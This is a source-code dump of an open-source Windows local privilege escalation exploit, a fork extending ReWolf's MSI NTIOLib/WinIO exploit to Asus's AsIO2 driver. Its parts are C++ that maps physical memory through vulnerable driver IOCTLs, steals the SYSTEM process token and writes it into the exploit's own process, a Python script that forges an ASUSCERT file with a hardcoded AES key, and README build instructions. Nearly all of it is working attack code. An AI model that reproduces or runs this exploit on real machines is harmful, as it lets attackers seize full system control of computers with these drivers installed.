CoUninitialize(); 194 | return; 195 | } 196 | 197 | std::vector> ranges; 198 | IWbemClassObject *pclsObj = NULL; 199 | ULONG uReturn = 0; 200 | while (pEnumerator) 201 | { 202 | pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn); 203 | if (0 == uReturn) 204 | { 205 | break; 206 | } 207 | 208 | VARIANT vtProp; 209 | pclsObj->Get(L"StartingAddress", 0, &vtProp, 0, 0); 210 | uint64_t startAddr = 0; 211 | swscanf_s(vtProp.bstrVal, L"%lld", &startAddr); 212 | VariantClear(&vtProp); 213 | 214 | pclsObj->Get(L"EndingAddress", 0, &vtProp, 0, 0); 215 | uint64_t endAddr = 0; 216 | swscanf_s(vtProp.bstrVal, L"%lld", &endAddr); 217 | VariantClear(&vtProp); 218 | 219 | pclsObj->Release(); 220 | ranges.push_back(std::pair(startAddr, endAddr + 1)); 221 | //printf("%0I64X %0I64X\n", startAddr, endAddr); 222 | } 223 | //insert dummy range <0xF0000000, 0xFFFFFFFF> 224 | ranges.push_back(std::pair(0xF0000000LL, 0x100000000LL)); 225 | 226 | std::sort(ranges.begin(), ranges.end()); 227 | auto it = ranges.begin(); 228 | std::pair current = *(it)++; 229 | while (it != ranges.end()) 230 | { 231 | if (current.second >= it->first) 232 | { 233 | current.second = std::max(current.second, it->second); 234 | } 235 | else 236 | { 237 | hardwareMappings[current.first] = current.second - current.first; 238 | current = *(it); 239 | } 240 | it++; 241 | } 242 | hardwareMappings[current.first] = current.second - current.first; 243 | 244 | pSvc->Release(); 245 | pLoc->Release(); 246 | pEnumerator->Release(); 247 | CoUninitialize(); 248 | } 249 | 250 | template 251 | bool elevate() 252 | { 253 | printf("Whoami: "); 254 | system("whoami"); 255 | 256 | std::unordered_map mapping; 257 | getHardwareMappings(mapping); 258 | 259 | uint32_t systemProcessPid = getSystemProcessPid(); 260 | printf("Found %s PID: %08X\n", SystemProcessNameA, systemProcessPid); 261 | 262 | printf("Looking for %s EPROCESS...\n", SystemProcessNameA); 263 | T io; 264 | uint64_t stolenToken = 0; 265 | iteratePhysicalMemory(io, mapping, [&stolenToken, systemProcessPid](IMemory& memory, const uint8_t* addr, size_t size) -> bool 266 | { 267 | return doEprocessAction(memory, addr, size, systemProcessPid, SystemProcessNameA, EprocessAction::StealToken, stolenToken); 268 | }); 269 | printf("Stolen token: %0" PRIx64" \n", stolenToken); 270 | if (0 == stolenToken) 271 | { 272 | printf("Failed to steal %s token!", SystemProcessNameA); 273 | return false; 274 | } 275 | 276 | uint32_t curId = GetCurrentProcessId(); 277 | char exePath[0x100]; 278 | GetModuleFileNameA(0, exePath, sizeof(exePath)); 279 | char* exeName = PathFindFileNameA(exePath); 280 | 281 | printf("Looking for %s EPROCESS...\n", exeName); 282 | iteratePhysicalMemory(io, mapping, [curId, exeName, &stolenToken](IMemory& memory, const uint8_t* addr, size_t size) -> bool 283 | { 284 | return doEprocessAction(memory, addr, size, curId, exeName, EprocessAction::ReuseToken, stolenToken); 285 | }); 286 | 287 | printf("Whoami: "); 288 | system("whoami"); 289 | return true; 290 | } 291 | 292 | void printUsage(const char* name) 293 | { 294 | printf("Usage:\n\t%s ntio\t\t- use NTIOLib.sys\n", name); 295 | printf("\t%s winio\t\t- use WinIO.sys\n\n", name); 296 | printf("\t%s asio\t\t- use AsIO2.sys\n\n", name); 297 | } 298 | 299 | int main(int argc, char* argv[]) 300 | { 301 | if (2 != argc) { 302 | printUsage(argv[0]); 303 | return 0; 304 | } 305 | 306 | HMODULE hntdll = GetModuleHandleW(L"ntdll"); 307 | OSVERSIONINFOW osver; 308 | RtlSecureZeroMemory(&osver, sizeof(osver)); 309 | osver.dwOSVersionInfoSize = sizeof(osver); 310 | RtlGetVersionT pRtlGetVersion = (RtlGetVersionT)GetProcAddress(hntdll, "RtlGetVersion"); 311 | pRtlGetVersion(&osver); 312 | 313 | if(osver.dwMajorVersion != 10) { 314 | printf("Only Windows 10 offsets are included\n"); 315 | return 0; 316 | } 317 | if(osver.dwBuildNumber >= 18362) { 318 | printf("Win10 1909+ detected, using 0x360 for Token offset\n"); 319 | EprocessToken = 0x360; 320 | } 321 | 322 | if (0 == strcmp(argv[1], "ntio")) 323 | elevate(); 324 | else if (0 == strcmp(argv[1], "winio")) 325 | elevate(); 326 | else if (0 == strcmp(argv[1], "asio")) 327 | elevate(); 328 | else 329 | printUsage(argv[0]); 330 | return 0; 331 | } 332 | -------------------------------------------------------------------------------- /MsiExploit/WinIO.cpp: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * MSI NTIOLib/WinIO privilege escalation exploit 4 | * 5 | * Copyright (c) 2016 ReWolf 6 | * http://blog.rewolf.pl/ 7 | * http://blog.rewolf.pl/blog/?p=1630 8 | * 9 | * This program is free software: you can redistribute it and/or modify 10 | * it under the terms of the GNU Lesser General Public License as published 11 | * by the Free Software Foundation, either version 3 of the License, or 12 | * (at your option) any later version. 13 | * 14 | * This program is distributed in the hope that it will be useful, 15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | * GNU Lesser General Public License for more details. 18 | * 19 | * You should have received a copy of the GNU Lesser General Public License 20 | * along with this program. If not, see . 21 | * 22 | */ 23 | #include "WinIO.h" 24 | 25 | WinIO::WinIO() 26 | { 27 | hDevice = CreateFileA("\\\\.\\WINIO", 0xC0000000, 0, 0, 3u, 0x80u, 0); 28 | } 29 | 30 | WinIO::~WinIO() 31 | { 32 | if (INVALID_HANDLE_VALUE != hDevice) 33 | CloseHandle(hDevice); 34 | } 35 | 36 | uint8_t* WinIO::mapPhysicalMemory(uint64_t physAddr, size_t size, winioMem& mem) const 37 | { 38 | if (INVALID_HANDLE_VALUE != hDevice) 39 | { 40 | memset(&mem, 0, sizeof(winioMem)); 41 | mem.addr = physAddr; 42 | mem.size = size; 43 | DWORD retSize; 44 | BOOL r = DeviceIoControl(hDevice, 0x80102040, &mem, sizeof(winioMem), &mem, sizeof(winioMem), &retSize, 0); 45 | if (r) 46 | return (uint8_t*)mem.outPtr; 47 | } 48 | return nullptr; 49 | } 50 | 51 | void WinIO::unmapPhysicalMemory(winioMem& mem) const 52 | { 53 | if (INVALID_HANDLE_VALUE != hDevice) 54 | { 55 | DWORD retSize; 56 | DeviceIoControl(hDevice, 0x80102044, &mem, sizeof(winioMem), 0, 0, &retSize, 0); 57 | } 58 | } 59 | 60 | bool WinIO::readPhysicalMemory(uint64_t physAddress, uint8_t* buffer, size_t size) const 61 | { 62 | if (INVALID_HANDLE_VALUE != hDevice) 63 | { 64 | winioMem mem; 65 | uint8_t* tmp = mapPhysicalMemory(physAddress, size, mem); 66 | if (nullptr != tmp) 67 | { 68 | memcpy(buffer, tmp, size); 69 | unmapPhysicalMemory(mem); 70 | } 71 | } 72 | return false; 73 | } 74 | 75 | MemoryWinIO::MemoryWinIO() 76 | { 77 | memset(&m_IMemoryHelper, 0, sizeof(m_IMemoryHelper)); 78 | } 79 | 80 | uint8_t* MemoryWinIO::getMemory(uint64_t physAddr, size_t size) 81 | { 82 | reset(); 83 | return m_WinIo.mapPhysicalMemory(physAddr, size, m_IMemoryHelper); 84 | } 85 | 86 | void MemoryWinIO::commitMemory() 87 | { 88 | if (0 != m_IMemoryHelper.outPtr) 89 | { 90 | m_WinIo.unmapPhysicalMemory(m_IMemoryHelper); 91 | memset(&m_IMemoryHelper, 0, sizeof(m_IMemoryHelper)); 92 | } 93 | } 94 | 95 | void MemoryWinIO::reset() 96 | { 97 | commitMemory(); 98 | } 99 | 100 | uint64_t MemoryWinIO::getPhysicalAddress() 101 | { 102 | return m_IMemoryHelper.addr; 103 | } 104 | 105 | namespace { 106 | template 107 | void Write(uint64_t address, const T& value) { 108 | *reinterpret_cast(address) = value; 109 | } 110 | } 111 | 112 | void MemoryWinIO::commitValue(size_t offsetInBuf, uint64_t value) 113 | { 114 | Write(m_IMemoryHelper.outPtr + offsetInBuf, value); 115 | commitMemory(); 116 | } 117 | -------------------------------------------------------------------------------- /MsiExploit/WinIO.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * MSI NTIOLib/WinIO privilege escalation exploit 4 | * 5 | * Copyright (c) 2016 ReWolf 6 | * http://blog.rewolf.pl/ 7 | * http://blog.rewolf.pl/blog/?p=1630 8 | * 9 | * This program is free software: you can redistribute it and/or modify 10 | * it under the terms of the GNU Lesser General Public License as published 11 | * by the Free Software Foundation, either version 3 of the License, or 12 | * (at your option) any later version. 13 | * 14 | * This program is distributed in the hope that it will be useful, 15 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | * GNU Lesser General Public License for more details. 18 | * 19 | * You should have received a copy of the GNU Lesser General Public License 20 | * along with this program. If not, see . 21 | * 22 | */ 23 | #pragma once 24 | #include 25 | #include 26 | #include "IMemory.h" 27 | 28 | #pragma pack(push) 29 | #pragma pack(1) 30 | struct winioMem 31 | { 32 | uint64_t size; 33 | uint64_t addr; 34 | uint64_t unk1; 35 | uint64_t outPtr; 36 | uint64_t unk2; 37 | }; 38 | #pragma pack(pop) 39 | 40 | class WinIO 41 | { 42 | private: 43 | HANDLE hDevice; 44 | 45 | public: 46 | WinIO(); 47 | virtual ~WinIO(); 48 | uint8_t* mapPhysicalMemory(uint64_t physAddr, size_t size, winioMem& mem) const; 49 | void unmapPhysicalMemory(winioMem& mem) const; 50 | bool readPhysicalMemory(uint64_t physAddress, uint8_t* buffer, size_t size) const; 51 | }; 52 | 53 | class MemoryWinIO : public IMemory 54 | { 55 | private: 56 | WinIO m_WinIo; 57 | winioMem m_IMemoryHelper; 58 | 59 | public: 60 | MemoryWinIO(); 61 | uint8_t* getMemory(uint64_t physAddr, size_t size = 0x1000) override; 62 | void commitMemory() override; 63 | void reset() override; 64 | uint64_t getPhysicalAddress() override; 65 | void commitValue(size_t offsetInBuf, uint64_t value) override; 66 | }; 67 | -------------------------------------------------------------------------------- /MsiExploit/make_ASUSCERT.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import time 3 | import struct 4 | import codecs 5 | from Crypto.Cipher import AES 6 | 7 | epoch_time = int(time.time()) 8 | 9 | data = struct.pack('IIII', epoch_time, 0, 0, 0) 10 | 11 | key = b"\xAA\x7E\x15\x16\x28\xAE\xD2\xA6\xAB\xF7\x15\x88\x09\xCF\x4F\x3C" 12 | aes = AES.new(key, AES.MODE_ECB) 13 | ASUSCERT = aes.encrypt(data) 14 | 15 | with open('ASUSCERT_now.dat', 'wb+') as f: 16 | f.write(ASUSCERT) 17 | 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Asus AsIO2 LPE exploit, based on rewolf-msi-exploit 2 | 3 | Blog posts: 4 | 5 | * Research: 6 | * Exploitation: 7 | 8 | This exploit is an extension of ReWolf's [exploit](https://github.com/rwfpl/rewolf-msi-exploit) 9 | More info can be found here: 10 | 11 | ## Fork notes by Raphaël Rigo 12 | 13 | * patched the C++ code to support compilation with MinGW 14 | * added a Makefile 15 | * added a provider for AsIO2 16 | * added EPROCESS Token offset for recent Windows versions 17 | 18 | ### Compilation under Linux 19 | 20 | * Install MinGW64: `apt install mingw-w64` 21 | * run `make` in `MsiExploit` folder 22 | 23 | ### Compilation under Windows 24 | 25 | * install python, make sure it's in your path 26 | * pip install cryptodome 27 | * run `nmake -f Makefile.nmake` in `MsiExploit` folder 28 | --------------------------------------------------------------------------------